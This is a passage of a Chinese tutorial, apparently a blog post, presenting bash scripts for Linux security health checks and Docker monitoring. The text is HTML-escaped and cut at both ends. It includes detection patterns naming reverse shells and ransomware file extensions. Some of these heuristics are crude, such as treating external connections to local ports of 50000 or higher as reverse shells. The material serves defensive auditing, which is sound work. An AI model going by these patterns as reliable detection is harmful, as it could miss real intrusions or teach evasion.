2\u0026gt;/dev/null) size=$(stat -c \u0026#34;%s\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) mtime=$(stat -c \u0026#34;%y\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null | cut -d\u0026#39;.\u0026#39; -f1) echo \u0026#34; - $file (权限:$perms, 大小:$size字节, 修改:$mtime)\u0026#34; done fi fi done 关键点：\n使用pgrep而非ps aux | grep，性能更高且避免误匹配 记录进程的PID、用户、完整命令行，便于追踪 同时检查/tmp、/dev/shm、/var/tmp三个常见临时目录 显示文件的权限、大小、修改时间，帮助判断是否可疑 3.2.2 网络安全检查 检查目的：发现反向shell、可疑端口监听、异常外部连接\n1. 反向shell检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # 反向shell典型特征：外部IP连接本地高端口（非标准服务端口） echo \u0026#34;### 反向shell检测\u0026#34; # 获取所有TCP连接 if command -v ss \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then connections=$(ss -tnp 2\u0026gt;/dev/null) else connections=$(netstat -tnp 2\u0026gt;/dev/null) fi # 检测可疑模式：外部IP连接到本地50000-65535端口 reverse_shell_detected=\u0026#34;false\u0026#34; echo \u0026#34;$connections\u0026#34; | while read -r line; do # 解析本地地址和远程地址 local_addr=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $4}\u0026#39;) remote_addr=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $5}\u0026#39;) # 提取端口号 local_port=$(echo \u0026#34;$local_addr\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2 | cut -d\u0026#39;:\u0026#39; -f1) remote_ip=$(echo \u0026#34;$remote_addr\u0026#34; | cut -d\u0026#39;:\u0026#39; -f1) # 排除本地回环和标准端口 if [[ ! \u0026#34;$remote_ip\u0026#34; =~ ^(127\\.|::1) ]]; then # 检查本地端口是否为高端口（非标准服务） if [ \u0026#34;$local_port\u0026#34; -ge 50000 ] 2\u0026gt;/dev/null; then # 排除部分合法的高端口号 if [[ ! \u0026#34;$local_port\u0026#34; =~ ^(50000|50001|50002) ]]; then echo \u0026#34;⚠️ 可疑连接：远程 $remote_addr -\u0026gt; 本地端口 $local_port\u0026#34; reverse_shell_detected=\u0026#34;true\u0026#34; fi fi fi done if [ \u0026#34;$reverse_shell_detected\u0026#34; = \u0026#34;false\u0026#34; ]; then echo \u0026#34;✅ 未发现反向shell特征\u0026#34; fi 2. 监听端口分析\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 echo \u0026#34;### 监听端口分析\u0026#34; # 获取所有监听端口 if command -v ss \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then listening=$(ss -tulpn 2\u0026gt;/dev/null) else listening=$(netstat -tulpn 2\u0026gt;/dev/null) fi echo \u0026#34;| 端口 | 协议 | 进程 | 用户 |\u0026#34; echo \u0026#34;|------|------|------|------|\u0026#34; echo \u0026#34;$listening\u0026#34; | grep LISTEN | while read -r line; do port=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $5}\u0026#39; | rev | cut -d\u0026#39;:\u0026#39; -f1 | rev) protocol=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) process=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $7}\u0026#39; | cut -d\u0026#39;/\u0026#39; -f2 | cut -d\u0026#39;,\u0026#39; -f1) user=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $7}\u0026#39; | cut -d\u0026#39;\u0026#34;\u0026#39; -f2) # 标记非标准高端口 if [ \u0026#34;$port\u0026#34; -ge 10000 ]; then echo \u0026#34;| **$port** | $protocol | $process | $user |\u0026#34; else echo \u0026#34;| $port | $protocol | $process | $user |\u0026#34; fi done 3. 外部连接统计\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 统计外部连接的独立IP数量 external_ips=$(ss -tn 2\u0026gt;/dev/null | \\ awk \u0026#39;{print $5}\u0026#39; | \\ cut -d\u0026#39;:\u0026#39; -f1 | \\ grep -vE \u0026#39;^(127\\.|::1|0\\.0\\.0\\.0)\u0026#39; | \\ sort -u | \\ wc -l) echo \u0026#34;### 外部连接统计\u0026#34; echo \u0026#34;- 外部连接的独立IP数：$external_ips\u0026#34; # 列出Top 10外部IP echo \u0026#34;- 连接最多的外部IP：\u0026#34; ss -tn 2\u0026gt;/dev/null | \\ awk \u0026#39;{print $5}\u0026#39; | \\ cut -d\u0026#39;:\u0026#39; -f1 | \\ grep -vE \u0026#39;^(127\\.|::1|0\\.0\\.0\\.0)\u0026#39; | \\ sort | uniq -c | sort -rn | head -n 10 | \\ while read -r line; do count=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) ip=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $2}\u0026#39;) echo \u0026#34; - $ip: $count 次连接\u0026#34; done 关键点：\n反向shell检测基于行为特征：外部IP连接本地高端口 排除已知的合法高端口（如某些应用服务） 统计外部连接IP数量和连接频率，异常高值需要关注 显示监听端口对应的进程和用户，便于排查 3.2.3 文件系统安全检查 检查目的：发现最近修改的敏感文件、勒索病毒特征、SUID/SGID文件\n1. 关键目录变更检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 echo \u0026#34;### 关键目录最近变更（7天内）\u0026#34; # 定义需要监控的关键目录 critical_dirs=(\u0026#34;/etc\u0026#34; \u0026#34;/home\u0026#34; \u0026#34;/root\u0026#34; \u0026#34;/var/www\u0026#34; \u0026#34;/opt\u0026#34;) for dir in \u0026#34;${critical_dirs[@]}\u0026#34;; do if [ -d \u0026#34;$dir\u0026#34; ]; then # 查找7天内修改的文件 recent_files=$(find \u0026#34;$dir\u0026#34; -type f -mtime -7 2\u0026gt;/dev/null) if [ -n \u0026#34;$recent_files\u0026#34; ]; then file_count=$(echo \u0026#34;$recent_files\u0026#34; | grep -v \u0026#39;^$\u0026#39; | wc -l) echo \u0026#34;⚠️ $dir: $file_count 个文件在最近7天被修改\u0026#34; # 显示部分关键文件 echo \u0026#34;$recent_files\u0026#34; | head -n 5 | while read -r file; do perms=$(stat -c \u0026#34;%a\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34; - $file (权限:$perms)\u0026#34; done fi fi done 2. 勒索病毒特征检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 echo \u0026#34;### 勒索病毒特征检测\u0026#34; # 定义勒索病毒常用的文件扩展名 ransomware_patterns=( \u0026#34;*.encrypted\u0026#34; \u0026#34;*.locked\u0026#34; \u0026#34;*.crypto\u0026#34; \u0026#34;*.crypt\u0026#34; \u0026#34;*.crypted\u0026#34; \u0026#34;*_README.txt\u0026#34; \u0026#34;*_DECRYPT.txt\u0026#34; \u0026#34;*_HELP.txt\u0026#34; \u0026#34;*_RESTORE.txt\u0026#34; \u0026#34;how_to_decrypt.*\u0026#34; \u0026#34;recover_files.*\u0026#34; ) ransomware_found=\u0026#34;false\u0026#34; for pattern in \u0026#34;${ransomware_patterns[@]}\u0026#34;; do # 在用户目录中查找 found_files=$(find /home /root -name \u0026#34;$pattern\u0026#34; 2\u0026gt;/dev/null) if [ -n \u0026#34;$found_files\u0026#34; ]; then echo \u0026#34;❌ 发现勒索病毒特征文件：\u0026#34; echo \u0026#34;$found_files\u0026#34; | head -n 10 ransomware_found=\u0026#34;true\u0026#34; fi done if [ \u0026#34;$ransomware_found\u0026#34; = \u0026#34;false\u0026#34; ]; then echo \u0026#34;✅ 未发现勒索病毒特征\u0026#34; fi 3. SUID/SGID文件检查\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 echo \u0026#34;### SUID/SGID文件检查\u0026#34; # 查找所有SUID文件 suid_files=$(find / -type f -perm -4000 2\u0026gt;/dev/null | \\ grep -v -E \u0026#39;^/proc|^/sys|^/dev\u0026#39; | \\ head -n 30) suid_count=$(echo \u0026#34;$suid_files\u0026#34; | grep -v \u0026#39;^$\u0026#39; | wc -l) if [ \u0026#34;$suid_count\u0026#34; -gt 0 ]; then echo \u0026#34;发现 $suid_count 个SUID文件（部分列表）：\u0026#34; echo \u0026#34;$suid_files\u0026#34; | while read -r file; do perms=$(stat -c \u0026#34;%a\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) owner=$(stat -c \u0026#34;%U\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34; - $file (权限:$perms, 所有者:$owner)\u0026#34; done fi # 查找所有SGID文件 sgid_files=$(find / -type f -perm -2000 2\u0026gt;/dev/null | \\ grep -v -E \u0026#39;^/proc|^/sys|^/dev\u0026#39; | \\ head -n 20) sgid_count=$(echo \u0026#34;$sgid_files\u0026#34; | grep -v \u0026#39;^$\u0026#39; | wc -l) if [ \u0026#34;$sgid_count\u0026#34; -gt 0 ]; then echo \u0026#34;发现 $sgid_count 个SGID文件（部分列表）：\u0026#34; echo \u0026#34;$sgid_files\u0026#34; | while read -r file; do perms=$(stat -c \u0026#34;%a\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) owner=$(stat -c \u0026#34;%U\u0026#34; \u0026#34;$file\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34; - $file (权限:$perms, 所有者:$owner)\u0026#34; done fi 关键点：\n重点监控/etc、/home、/root等敏感目录 勒索病毒检测基于文件扩展名特征（实际环境中建议结合文件内容分析） SUID/SGID文件是提权漏洞的常见切入点，需要重点关注 限制输出数量，避免报告过长 3.2.4 账户和登录安全检查 检查目的：检测异常登录、新增用户、sudo使用情况\n1. 最近登录记录\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 echo \u0026#34;### 最近登录记录（最近10次）\u0026#34; # 使用last命令获取登录记录 recent_logins=$(last -n 10 -a 2\u0026gt;/dev/null | head -n -2) if [ -n \u0026#34;$recent_logins\u0026#34; ]; then echo \u0026#34;| 用户 | 终端 | 来源IP | 登录时间 |\u0026#34; echo \u0026#34;|------|------|--------|----------|\u0026#34; echo \u0026#34;$recent_logins\u0026#34; | while read -r line; do user=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) terminal=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $2}\u0026#39;) # IP在最后，主机名倒数第二 ip=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $(NF-1)}\u0026#39; | sed \u0026#39;s/(//g\u0026#39;) # 时间范围在中间部分 time_range=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{for(i=3;i\u0026lt;=NF-2;i++)printf $i\u0026#34; \u0026#34;}\u0026#39;) echo \u0026#34;| $user | $terminal | $ip | $time_range |\u0026#34; done fi 2. 失败登录统计\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 echo \u0026#34;### 失败登录统计\u0026#34; # 统计最近失败的登录次数 if [ -f /var/log/auth.log ]; then # Debian/Ubuntu系统 failed_count=$(grep \u0026#34;Failed password\u0026#34; /var/log/auth.log 2\u0026gt;/dev/null | \\ tail -1000 | wc -l) echo \u0026#34;- 最近失败登录次数（最近1000条日志）：$failed_count\u0026#34; # 统计失败登录来源IP echo \u0026#34;- 失败登录最多的IP：\u0026#34; grep \u0026#34;Failed password\u0026#34; /var/log/auth.log 2\u0026gt;/dev/null | \\ awk \u0026#39;{print $13}\u0026#39; | \\ sort | uniq -c | sort -rn | head -n 5 | \\ while read -r line; do count=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) ip=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $2}\u0026#39;) echo \u0026#34; - $ip: $count 次\u0026#34; done elif [ -f /var/log/secure ]; then # CentOS/RHEL系统 failed_count=$(grep \u0026#34;Failed password\u0026#34; /var/log/secure 2\u0026gt;/dev/null | \\ tail -1000 | wc -l) echo \u0026#34;- 最近失败登录次数（最近1000条日志）：$failed_count\u0026#34; fi 3. 新增用户检测\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 echo \u0026#34;### 新增用户检测（最近30天）\u0026#34; # 检查shadow文件中最近修改的用户 if [ -f /etc/shadow ]; then # 第4字段是最后修改时间（天数，从1970-01-01起） thirty_days_ago=$(($(date +%s) / 86400 - 30)) new_users=$(awk -F: -v date=\u0026#34;$thirty_days_ago\u0026#34; \\ \u0026#39;$4 \u0026gt;= date {print $1}\u0026#39; /etc/shadow 2\u0026gt;/dev/null) if [ -n \u0026#34;$new_users\u0026#34; ]; then echo \u0026#34;⚠️ 发现最近30天新增的用户：\u0026#34; echo \u0026#34;$new_users\u0026#34; | while read -r user; do # 获取用户详细信息 user_info=$(grep \u0026#34;^$user:\u0026#34; /etc/passwd) uid=$(echo \u0026#34;$user_info\u0026#34; | cut -d\u0026#39;:\u0026#39; -f3) home=$(echo \u0026#34;$user_info\u0026#34; | cut -d\u0026#39;:\u0026#39; -f6) shell=$(echo \u0026#34;$user_info\u0026#34; | cut -d\u0026#39;:\u0026#39; -f7) echo \u0026#34; - $user (UID:$uid, HOME:$home, SHELL:$shell)\u0026#34; done else echo \u0026#34;✅ 未发现最近30天的新增用户\u0026#34; fi fi 4. Sudo使用审计\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 echo \u0026#34;### Sudo使用审计（最近20条）\u0026#34; # 检查sudo日志 if command -v journalctl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then # 使用journalctl读取sudo日志 sudo_logs=$(journalctl -u sudo 2\u0026gt;/dev/null | tail -n 20) if [ -n \u0026#34;$sudo_logs\u0026#34; ]; then echo \u0026#34;$sudo_logs\u0026#34; | while read -r line; do # 提取关键信息：时间、用户、命令 echo \u0026#34; - $line\u0026#34; done fi elif [ -f /var/log/auth.log ]; then # 从auth.log中提取sudo记录 sudo_logs=$(grep sudo /var/log/auth.log 2\u0026gt;/dev/null | tail -n 20) if [ -n \u0026#34;$sudo_logs\u0026#34; ]; then echo \u0026#34;$sudo_logs\u0026#34; fi fi 关键点：\n兼容不同Linux发行版的日志文件路径 统计失败登录次数和来源IP，高值可能意味着暴力破解 检测新增用户，特别是UID为0（root权限）的用户 审计sudo使用情况，发现权限滥用 3.2.5 系统完整性检查 检查目的：检查关键文件权限、系统二进制文件完整性\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 echo \u0026#34;### 系统完整性检查\u0026#34; # 定义关键文件列表 critical_files=( \u0026#34;/etc/passwd\u0026#34; \u0026#34;/etc/shadow\u0026#34; \u0026#34;/etc/sudoers\u0026#34; \u0026#34;/etc/ssh/sshd_config\u0026#34; \u0026#34;/etc/ssh/ssh_host_*_key\u0026#34; ) echo \u0026#34;| 文件 | 权限 | 所有者 | 组 | 状态 |\u0026#34; echo \u0026#34;|------|------|--------|-----|------|\u0026#34; for file in \u0026#34;${critical_files[@]}\u0026#34;; do # 使用通配符展开 for expanded_file in $file; do if [ -e \u0026#34;$expanded_file\u0026#34; ]; then perms=$(stat -c \u0026#34;%a\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null || stat -f \u0026#34;%OLp\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null) owner=$(stat -c \u0026#34;%U\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null || stat -f \u0026#34;%Su\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null) group=$(stat -c \u0026#34;%G\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null || stat -f \u0026#34;%Sg\u0026#34; \u0026#34;$expanded_file\u0026#34; 2\u0026gt;/dev/null) # 检查权限是否合适（简化判断） status=\u0026#34;✅\u0026#34; case \u0026#34;$(basename \u0026#34;$expanded_file\u0026#34;)\u0026#34; in shadow) if [ \u0026#34;$perms\u0026#34; != \u0026#34;000\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$perms\u0026#34; != \u0026#34;640\u0026#34; ]; then status=\u0026#34;⚠️\u0026#34; fi ;; sudoers) if [ \u0026#34;$perms\u0026#34; != \u0026#34;440\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$perms\u0026#34; != \u0026#34;400\u0026#34; ]; then status=\u0026#34;⚠️\u0026#34; fi ;; esac echo \u0026#34;| $expanded_file | $perms | $owner | $group | $status |\u0026#34; fi done done 关键点：\n重点检查/etc/passwd、/etc/shadow等认证相关文件 /etc/shadow应该是000或640权限 /etc/sudoers应该是440或400权限 SSH私钥文件应该是600或400权限 3.3 Docker容器监控模块（docker-check.sh） 专注于Docker环境的健康检查和资源监控。\n3.3.1 Docker服务状态检查 检查目的：确认Docker服务运行正常，获取版本信息\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 echo \u0026#34;## 🐳 Docker服务状态\u0026#34; # 检查Docker服务是否运行 if command -v docker \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then docker_status=$(systemctl is-active docker 2\u0026gt;/dev/null) if [ \u0026#34;$docker_status\u0026#34; = \u0026#34;active\u0026#34; ]; then echo \u0026#34;Docker服务: ✅ 运行中\u0026#34; # 获取Docker版本 docker_version=$(docker --version 2\u0026gt;/dev/null | awk \u0026#39;{print $3}\u0026#39; | sed \u0026#39;s/,//\u0026#39;) echo \u0026#34;Docker版本: $docker_version\u0026#34; add_docker_data \u0026#34;service_status\u0026#34; \u0026#34;running\u0026#34; add_docker_data \u0026#34;version\u0026#34; \u0026#34;$docker_version\u0026#34; else echo \u0026#34;Docker服务: ⚠️ 未运行 (状态: $docker_status)\u0026#34; add_docker_data \u0026#34;service_status\u0026#34; \u0026#34;$docker_status\u0026#34; fi else echo \u0026#34;Docker: ❌ 未安装\u0026#34; add_docker_data \u0026#34;service_status\u0026#34; \u0026#34;not_installed\u0026#34; return fi 3.3.2 容器统计与状态 检查目的：了解容器总数、运行状态、停止状态\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 echo \u0026#34;## 📦 容器状态概览\u0026#34; # 统计容器数量 total_containers=$(docker ps -a -q 2\u0026gt;/dev/null | wc -l) running_containers=$(docker ps -q 2\u0026gt;/dev/null | wc -l) paused_containers=$(docker ps -q -f status=paused 2\u0026gt;/dev/null | wc -l) stopped_containers=$((total_containers - running_containers - paused_containers)) echo \u0026#34;- 总容器数: $total_containers\u0026#34; echo \u0026#34;- 运行中: $running_containers\u0026#34; echo \u0026#34;- 已暂停: $paused_containers\u0026#34; echo \u0026#34;- 已停止: $stopped_containers\u0026#34; # 判断整体状态 if [ \u0026#34;$stopped_containers\u0026#34; -gt 0 ]; then echo \u0026#34;- 状态: ⚠️ 有 $stopped_containers 个容器已停止\u0026#34; overall_status=\u0026#34;warning\u0026#34; elif [ \u0026#34;$running_containers\u0026#34; -gt 0 ]; then echo \u0026#34;- 状态: ✅ 正常\u0026#34; overall_status=\u0026#34;ok\u0026#34; else echo \u0026#34;- 状态: ⚠️ 无运行中的容器\u0026#34; overall_status=\u0026#34;warning\u0026#34; fi # 记录到JSON add_docker_data \u0026#34;containers_total\u0026#34; \u0026#34;$total_containers\u0026#34; add_docker_data \u0026#34;containers_running\u0026#34; \u0026#34;$running_containers\u0026#34; add_docker_data \u0026#34;containers_paused\u0026#34; \u0026#34;$paused_containers\u0026#34; add_docker_data \u0026#34;containers_stopped\u0026#34; \u0026#34;$stopped_containers\u0026#34; add_docker_data \u0026#34;overall_status\u0026#34; \u0026#34;$overall_status\u0026#34; # 列出停止的容器 if [ \u0026#34;$stopped_containers\u0026#34; -gt 0 ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 停止的容器：\u0026#34; docker ps -a -f status=exited --format \u0026#34;table {{.Names}}\\t{{.Status}}\\t{{.CreatedAt}}\u0026#34; 2\u0026gt;/dev/null fi 输出示例：\n1 2 3 4 5 6 7 8 9 10 11 ## 📦 容器状态概览 - 总容器数: 25 - 运行中: 23 - 已暂停: 0 - 已停止: 2 - 状态: ⚠️ 有 2 个容器已停止 ### 停止的容器： NAMES STATUS CREATEDAT old-postgres Exited (0) 2 days ago 2026-01-16 10:30:00 test-mysql Exited (1) 5 days ago 2026-01-13 14:20:00 3.3.3 容器资源使用分析 检查目的：发现资源占用异常的容器，进行容量规划\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 echo \u0026#34;## 📊 容器资源使用（Top 10）\u0026#34; echo \u0026#34;| 容器名 | 状态 | CPU% | 内存使用 | 内存% | 网络接收 | 网络发送 |\u0026#34; echo \u0026#34;|--------|------|------|----------|--------|----------|----------|\u0026#34; # 获取容器实时资源使用（--no-stream避免持续输出） docker stats --no-stream --format \u0026#34;table {{.Name}}\\t{{.CPUPerc}}\\t{{.MemUsage}}\\t{{.MemPerc}}\\t{{.NetIO}}\u0026#34; 2\u0026gt;/dev/null | \\ tail -n +2 | \\ while read -r line; do name=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) cpu=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $2}\u0026#39; | sed \u0026#39;s/%//\u0026#39;) mem_usage=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $3}\u0026#39;) mem_percent=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $4}\u0026#39; | sed \u0026#39;s/%//\u0026#39;) net_rx=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $5}\u0026#39;) net_tx=$(echo \u0026#34;$line\u0026#34; | awk \u0026#39;{print $6}\u0026#39;) # 判断容器状态 if docker ps --format \u0026#34;{{.Names}}\u0026#34; | grep -q \u0026#34;^${name}$\u0026#34;; then status=\u0026#34;✅\u0026#34; else status=\u0026#34;❌\u0026#34; fi # 标记高资源占用 if (( $(echo \u0026#34;$cpu \u0026gt; 50\u0026#34; | bc -l 2\u0026gt;/dev/null || echo \u0026#34;0\u0026#34;) )); then cpu=\u0026#34;**$cpu%**\u0026#34; else cpu=\u0026#34;${cpu}%\u0026#34; fi if [ \u0026#34;$mem_percent\u0026#34; -gt 80 ] 2\u0026gt;/dev/null; then mem_usage=\u0026#34;**$mem_usage**\u0026#34; fi echo \u0026#34;| $name | $status | $cpu | $mem_usage | ${mem_percent}% | $net_rx | $net_tx |\u0026#34; done | head -n 11 # 限制Top 10 关键点：\n使用--no-stream参数获取当前瞬时数据，而非持续输出 标记CPU\u0026gt;50%和内存\u0026gt;80%的容器，便于快速发现问题 区分运行中和停止的容器 限制输出数量，避免报告过长 3.3.4 镜像管理检查 检查目的：发现悬空镜像，提供清理建议\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 echo \u0026#34;## 🖼️ 镜像管理\u0026#34; # 统计镜像数量 total_images=$(docker images -q 2\u0026gt;/dev/null | wc -l) dangling_images=$(docker images -f \u0026#34;dangling=true\u0026#34; -q 2\u0026gt;/dev/null | wc -l) echo \u0026#34;- 总镜像数: $total_images\u0026#34; echo \u0026#34;- 悬空镜像数: $dangling_images\u0026#34; # 列出镜像占用空间 if [ \u0026#34;$total_images\u0026#34; -gt 0 ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 镜像占用空间（Top 10）：\u0026#34; echo \u0026#34;| 镜像名 | 标签 | 大小 | 创建时间 |\u0026#34; echo \u0026#34;|--------|------|------|----------|\u0026#34; docker images --format \u0026#34;table {{.Repository}}\\t{{.Tag}}\\t{{.Size}}\\t{{.CreatedAt}}\u0026#34; 2\u0026gt;/dev/null | \\ tail -n +2 | \\ head -n 10 | \\ while read -r line; do echo \u0026#34;| $line |\u0026#34; done fi # 清理建议 if [ \u0026#34;$dangling_images\u0026#34; -gt 0 ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 清理建议\u0026#34; echo \u0026#34;⚠️ 发现 $dangling_images 个悬空镜像，建议清理：\u0026#34; echo \u0026#34;\\`\\`\\`bash\u0026#34; echo \u0026#34;docker image prune -f\u0026#34; echo \u0026#34;\\`\\`\\`\u0026#34; # 计算可回收空间 dangling_size=$(docker images -f \u0026#34;dangling=true\u0026#34; -q 2\u0026gt;/dev/null | \\ xargs docker inspect --format=\u0026#39;{{.Size}}\u0026#39; 2\u0026gt;/dev/null | \\ awk \u0026#39;{sum+=$1} END {printf \u0026#34;%.0f\u0026#34;, sum/1024/1024}\u0026#39;) echo \u0026#34;预计可回收空间: ${dangling_size}MB\u0026#34; fi 3.3.5 存储空间使用 检查目的：了解Docker整体存储占用，发现异常占用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 echo \u0026#34;## 💾 存储空间使用\u0026#34; docker_info=$(docker system df 2\u0026gt;/dev/null) if [ -n \u0026#34;$docker_info\u0026#34; ]; then echo \u0026#34;$docker_info\u0026#34; # 解析存储使用数据 images_size=$(echo \u0026#34;$docker_info\u0026#34; | grep \u0026#39;Images\u0026#39; | awk \u0026#39;{print $3}\u0026#39;) containers_size=$(echo \u0026#34;$docker_info\u0026#34; | grep \u0026#39;Containers\u0026#39; | awk \u0026#39;{print $3}\u0026#39;) volumes_size=$(echo \u0026#34;$docker_info\u0026#34; | grep \u0026#39;Local Volumes\u0026#39; | awk \u0026#39;{print $3}\u0026#39;) build_cache_size=$(echo \u0026#34;$docker_info\u0026#34; | grep \u0026#39;Build Cache\u0026#39; | awk \u0026#39;{print $3}\u0026#39;) add_docker_data \u0026#34;storage_images\u0026#34; \u0026#34;$images_size\u0026#34; add_docker_data \u0026#34;storage_containers\u0026#34; \u0026#34;$containers_size\u0026#34; add_docker_data \u0026#34;storage_volumes\u0026#34; \u0026#34;$volumes_size\u0026#34; add_docker_data \u0026#34;storage_build_cache\u0026#34; \u0026#34;$build_cache_size\u0026#34; # 判断是否需要清理 if [ \u0026#34;$build_cache_size\u0026#34; != \u0026#34;0B\u0026#34; ] \u0026amp;\u0026amp; [ \u0026#34;$build_cache_size\u0026#34; != \u0026#34;\u0026#34; ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 清理建议\u0026#34; echo \u0026#34;⚠️ 构建缓存占用 ${build_cache_size}，建议清理：\u0026#34; echo \u0026#34;\\`\\`\\`bash\u0026#34; echo \u0026#34;docker builder prune -f\u0026#34; echo \u0026#34;\\`\\`\\`\u0026#34; fi else echo \u0026#34;⚠️ 无法获取存储使用信息\u0026#34; fi 输出示例：\n1 2 3 4 5 6 7 8 9 10 11 ## 💾 存储空间使用 TYPE TOTAL ACTIVE SIZE RECLAIMABLE Images 15 10 3.2GB 1.1GB (34%) Containers 25 23 1.8GB 256MB (14%) Local Volumes 8 6 2.5GB 512MB (20%) Build Cache 0 0 856MB 856MB ### 清理建议 ⚠️ 构建缓存占用 856MB，建议清理： ```bash docker builder prune -f #### 3.3.6 网络和卷统计 ```bash echo \u0026#34;## 🔌 网络和卷\u0026#34; # 统计网络 total_networks=$(docker network ls -q 2\u0026gt;/dev/null | wc -l) echo \u0026#34;- 网络总数: $total_networks\u0026#34; # 列出网络 if [ \u0026#34;$total_networks\u0026#34; -gt 0 ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 网络列表：\u0026#34; docker network ls --format \u0026#34;table {{.Name}}\\t{{.Driver}}\\t{{.Scope}}\u0026#34; 2\u0026gt;/dev/null fi # 统计卷 total_volumes=$(docker volume ls -q 2\u0026gt;/dev/null | wc -l) echo \u0026#34;\u0026#34; echo \u0026#34;- 卷总数: $total_volumes\u0026#34; # 列出卷 if [ \u0026#34;$total_volumes\u0026#34; -gt 0 ]; then echo \u0026#34;\u0026#34; echo \u0026#34;### 卷列表：\u0026#34; docker volume ls --format \u0026#34;table {{.Name}}\\t{{.Driver}}\\t{{.Scope}}\u0026#34; 2\u0026gt;/dev/null fi add_docker_data \u0026#34;networks_total\u0026#34; \u0026#34;$total_networks\u0026#34; add_docker_data \u0026#34;volumes_total\u0026#34; \u0026#34;$total_volumes\u0026#34; 关键点：\n提供清晰的清理建议和命令 统计并显示可回收空间，帮助决策是否清理 列出网络和卷，便于了解整体架构 所有数据同时记录到JSON，便于自动化分析 四、实际应用效果展示 4.1 基础健康检查报告 Markdown报告（人工阅读） 图：健康检查报告\nJSON报告（机器处理） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 { \u0026#34;summary\u0026#34;: { \u0026#34;host\u0026#34;: { \u0026#34;hostname\u0026#34;: \u0026#34;pve-ubuntu-pandawiki\u0026#34;, \u0026#34;ip\u0026#34;: \u0026#34;192.168.0.55\u0026#34;, \u0026#34;check_time\u0026#34;: \u0026#34;2026-01-18T08:40:43+0000\u0026#34; }, \u0026#34;overall_status\u0026#34;: \u0026#34;warning\u0026#34;, \u0026#34;status_counts\u0026#34;: { \u0026#34;ok\u0026#34;: 8, 